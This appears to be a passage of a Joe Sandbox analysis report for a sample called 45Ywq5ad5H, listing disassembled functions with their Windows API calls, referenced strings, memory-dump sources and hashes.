API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 705b5260af9bde1475749c7d2db62c49f80902053b697195e82a33862eb535fe
Instruction ID: 60856023bc9923105f70f3374a866ce7d7870c911908464c473bb610449073bb
Opcode Fuzzy Hash: 705b5260af9bde1475749c7d2db62c49f80902053b697195e82a33862eb535fe
Instruction Fuzzy Hash: 80F1F0279B4E1B06E70862398D522E5954AD7FA770FD2C733BE329B3F4E36D48419284

Function 009E8E2E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 009E8FDD

Part of subcall function 009E3A83: HeapAlloc.KERNEL32(00000000,009EA1AA,?,?,009EA1AA,00000220,?,?,?), ref: 009E3AB5

__freea.LIBCMT ref: 009E8FF2
__freea.LIBCMT ref: 009E9002

Strings

kxR, xrefs: 009E8E35

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID: kxR
API String ID: 85559729-2472672925
Opcode ID: 9e1d965ccfe5278d3a7480450efceb303082bc07494fa3aac811cd657b5e509a
Instruction ID: 75fd705d73ad02a9a76adfaad780ea9e17dd698f1ec3274feb97f1c1f92b7909
Opcode Fuzzy Hash: 9e1d965ccfe5278d3a7480450efceb303082bc07494fa3aac811cd657b5e509a
Instruction Fuzzy Hash: 1E51C572600296AFEF229FA6CC45EBB36AEEF44750B154929FD0CD6150EF31CC5087A0

Function 009EA3A6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E9ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 009E9F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,009EA1ED,?,00000000,?,?,?), ref: 009EA407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,009EA1ED,?,00000000,?,?,?), ref: 009EA449

Strings

kxR, xrefs: 009EA3AE

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: kxR
API String ID: 546120528-2472672925
Opcode ID: 5b7cdce1ded338777e7bc9412dbf07ab53c6fe440d5ea74ff14e03d589607435
Instruction ID: b82cf913ffdba93544d258f341cc38c6e7df85eb371bd3e68793c6db889108d3
Opcode Fuzzy Hash: 5b7cdce1ded338777e7bc9412dbf07ab53c6fe440d5ea74ff14e03d589607435
Instruction Fuzzy Hash: 805108719002859FDB22CF37C4856AEBBF9EF85300F14446ED092872B1E6B4AD45CB51

Function 009E9FAA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,009EA1F9,009EA1ED,00000000), ref: 009E9FDC

Strings

kxR, xrefs: 009E9FB5

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: Info
String ID: kxR
API String ID: 1807457897-2472672925
Opcode ID: c2526cf021c13c293eb7329052fcbf3996c09c382974fad6ed3686d11fb4b9af
Instruction ID: af10df0b442acad1759e3dc904d29be54a8b36c5f95f638043d5522e91b3bee1
Opcode Fuzzy Hash: c2526cf021c13c293eb7329052fcbf3996c09c382974fad6ed3686d11fb4b9af
Instruction Fuzzy Hash: 05516B719082989EDB228B29CC80BF67BBCEB5A304F2405EDD19AC7152D275BD46DF21

Function 009E6368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,009E8F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 009E639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,009E8F1C,?,?,00000000,?,00000000), ref: 009E63BA

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 6bd09ea2bba033b39a3650faceb97f8b6bbbcaea158d7217e9ffa20d0098da10
Instruction ID: 28506dacb2dd9bd7bfd2cf340abedf3ab18d578eb066cd69dec97171834875be
Opcode Fuzzy Hash: 6bd09ea2bba033b39a3650faceb97f8b6bbbcaea158d7217e9ffa20d0098da10
Instruction Fuzzy Hash: DDF07A3200019ABBCF135F91DC05EDE3F26EF583A4F059110FA1865020CB36D971EB90

Non-executed Functions

Function 009ED39B Relevance: 11.9, APIs: 1, Strings: 5, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009ED57F

Strings

kxR, xrefs: 009ED3A6
1#IND, xrefs: 009ED4A0
1#SNAN, xrefs: 009ED4A7
1#QNAN, xrefs: 009ED4AE
1#INF, xrefs: 009ED4D1

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN$kxR
API String ID: 4168288129-3923377884
Opcode ID: dd13ac7de60647874abdd735bcc7bc34d4a415dd81bf9daefa6415957bbdd845
Instruction ID: f0d98c93e088610a455e085fe7e53140e590618c4745f85a8fe1ff95be5bb4b5
Opcode Fuzzy Hash: dd13ac7de60647874abdd735bcc7bc34d4a415dd81bf9daefa6415957bbdd845
Instruction Fuzzy Hash: 38D23C71E092698FDB66CF29DD407EAB7B9EB84304F1445EAD40DE7240E778AE818F41

Function 00A20F98 Relevance: 11.3, Strings: 5, Instructions: 5010COMMON

Download Yara Rule

Strings

66.\, xrefs: 00A21719
B^U!, xrefs: 00A2120D
KG&!, xrefs: 00A21583
m27/, xrefs: 00A21741
X/:, xrefs: 00A217A0

Memory Dump Source

Source File: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID: 66.\$B^U!$KG&!$X/:$m27/
API String ID: 0-1441538931
Opcode ID: 2b9b1c30e7f6628c0adfe3d770ddac04f4f114ca0a85add565e8573d05011e3c
Instruction ID: 5bd63015bb18a374b5f78831bebb5aad5eca1ad1f15dcdf396c4a998c622db6c
Opcode Fuzzy Hash: 2b9b1c30e7f6628c0adfe3d770ddac04f4f114ca0a85add565e8573d05011e3c
Instruction Fuzzy Hash: 9763557241D7E42EC727CB3467B62917F76BE232103194AEEC4C18F8B3C6949A16E356

Function 009EC9E9 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 009ECAF5
IsValidCodePage.KERNEL32(00000000), ref: 009ECB3E
IsValidLocale.KERNEL32(?,00000001), ref: 009ECB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 009ECB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 009ECBB4

Strings

kxR, xrefs: 009EC9F1

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: kxR
API String ID: 415426439-2472672925
Opcode ID: 1e72ca32ca3cac43a48dd4d5a9bc49db0bcda9822dc8cdddc20a2df6b23a7499
Instruction ID: ecff8961570c4b6483022986d2f05939f0708995992051d01d7bd30e8e6a2f5d
Opcode Fuzzy Hash: 1e72ca32ca3cac43a48dd4d5a9bc49db0bcda9822dc8cdddc20a2df6b23a7499
Instruction Fuzzy Hash: 0D5170B2A00249EBDB12DFA6DC42BBA77B8FF48700F184429E950E7190E7709D06CB61

Function 009EC085 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

GetACP.KERNEL32(?,?,?,?,?,?,009E1848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 009EC146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,009E1848,?,?,?,00000055,?,-00000050,?,?), ref: 009EC171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 009EC2D4

Strings

utf8, xrefs: 009EC243
kxR, xrefs: 009EC28B

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: kxR$utf8
API String ID: 607553120-3129565375
Opcode ID: ca291231f9507b322a79ccdbe19454bc58789d7782cacbbddcabb1b07a68ce66
Instruction ID: faecdaf124ab65a150bbd9fe1b06353e7c604061a20641e51da6ebbea21b10ef
Opcode Fuzzy Hash: ca291231f9507b322a79ccdbe19454bc58789d7782cacbbddcabb1b07a68ce66
Instruction Fuzzy Hash: 01714CB1604346AADB26AB76CC42B7B73ACEF85700F14442AF655D7281EB74ED02D3A0

Function 009EC814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,009ECB32,00000002,00000000,?,?,?,009ECB32,?,00000000), ref: 009EC8AD
GetLocaleInfoW.KERNEL32(?,20001004,009ECB32,00000002,00000000,?,?,?,009ECB32,?,00000000), ref: 009EC8D6
GetACP.KERNEL32(?,?,009ECB32,?,00000000), ref: 009EC8EB

Strings

OCP, xrefs: 009EC868
ACP, xrefs: 009EC832

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 94f2da51c70dc1ff1b64cd49da68f2e9dfe59577ad301f593692912235e62a78
Instruction ID: 057360e8223f3942d46e34e09a4a1c2932db4eb3eb1d48db7d900e9ad78eecb6
Opcode Fuzzy Hash: 94f2da51c70dc1ff1b64cd49da68f2e9dfe59577ad301f593692912235e62a78
Instruction Fuzzy Hash: 8B21D6B2A00285EADB368F57CB00AA773AAFF54B50B568425F989D7200EB32DD42D350

Function 009EC498 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009EC4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009EC536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009EC5FC

Strings

kxR, xrefs: 009EC4A3

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID: kxR
API String ID: 661929714-2472672925
Opcode ID: 2aa260060803adf714b4fb7a48ab8b11f30be619f4955efa9d238ccd4c9a77e8
Instruction ID: 8bfcc61da00b29d19f2d7f176e356965955eea759bb44f6a1544e38d72d986ee
Opcode Fuzzy Hash: 2aa260060803adf714b4fb7a48ab8b11f30be619f4955efa9d238ccd4c9a77e8
Instruction Fuzzy Hash: 5B61A0B25142479FDB2ADF2ACC82BBA77A8FF44701F10417AE945C6185EB38ED42CB50

Function 009DDA73 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 009DDB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 009DDB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 009DDB82

Strings

kxR, xrefs: 009DDA7E

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: kxR
API String ID: 3906539128-2472672925
Opcode ID: f0de43a6825b2454a63d4861b2177f0b20ea2f8fe2971f19bff485385c19a171
Instruction ID: 52db42bdef85ebd4bd34024e139ef95744f4284ef53bb1dd443dfd41eefcd745
Opcode Fuzzy Hash: f0de43a6825b2454a63d4861b2177f0b20ea2f8fe2971f19bff485385c19a171
Instruction Fuzzy Hash: BC31C57495122CABCB21DF68DC89B9DBBB8BF48310F5081DAE41CA7251EB749F858F44

Function 009E3C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009E3D1F

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 0f53b8986c10a31e049a4545066ddef3670154d6e119208b36cb6df789285d43
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: 4CB16A32D042859FEB168F69C8857FEBBB9EF55300F14C56AE804AB381D235DE41CBA0

Function 009D7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 009D792E
IsDebuggerPresent.KERNEL32 ref: 009D79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009D7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 009D7A1D

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 361337e464cb25d08aa20ab30584c17a70113eace7b7239961abbf07f75dd902
Instruction ID: 6f195e94320cf6ec7c411dad4f16905e9c5c470bdf790d2ba55209c759a1a987
Opcode Fuzzy Hash: 361337e464cb25d08aa20ab30584c17a70113eace7b7239961abbf07f75dd902
Instruction Fuzzy Hash: 6231F775D452189BDB20DFA4D949BCDBBB8AF08300F1081EAE50CAB250EB759B85CF55

Function 009E9ABF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

kxR, xrefs: 009E9B7E

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID:
String ID: kxR
API String ID: 0-2472672925
Opcode ID: 32f51a66b1467f7dc2d0181f91c9f267cae0ef3af427f288c83129a9ae089b0b
Instruction ID: e84781ce07238ccb17111afeb64ce52f3a83ae0c78cd4e95cfe71b29bdf6b4e6
Opcode Fuzzy Hash: 32f51a66b1467f7dc2d0181f91c9f267cae0ef3af427f288c83129a9ae089b0b
Instruction Fuzzy Hash: 8D31D772900259AFCB21EFBADC89EBB777DEB84314F144159F90597245EA30AE408B54

Function 009EC6EB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 009E4EB1: GetLastError.KERNEL32(?,00000008,009E9482), ref: 009E4EB5
Part of subcall function 009E4EB1: SetLastError.KERNEL32(00000000,009FC480,00000024,009E0419), ref: 009E4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009EC73F

Strings

kxR, xrefs: 009EC6F6

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID: kxR
API String ID: 3736152602-2472672925
Opcode ID: bcb9b0efcc84c81af01449734475c2356d7f7ade2d7aede4734593046bb0765d
Instruction ID: dd3ec1117e1ad5eb7c039a5f2910809e4b1e36fa59880b2f56d822eb3eb1a96b
Opcode Fuzzy Hash: bcb9b0efcc84c81af01449734475c2356d7f7ade2d7aede4734593046bb0765d
Instruction Fuzzy Hash: 1B21B0B2615286ABEB299B26DC42B7A73ACEF44310B10007AF945D6141EB35ED02CA50

Function 009E5D7F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009DDDC1: EnterCriticalSection.KERNEL32(?,?,009E4B89,?,009FC2E0,00000008,009E4D4D,?,009DC446,?), ref: 009DDDD0

EnumSystemLocalesW.KERNEL32(009E5D72,00000001,009FC3A0,0000000C,009E6127,00000000), ref: 009E5DB7

Strings

kxR, xrefs: 009E5DBF

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
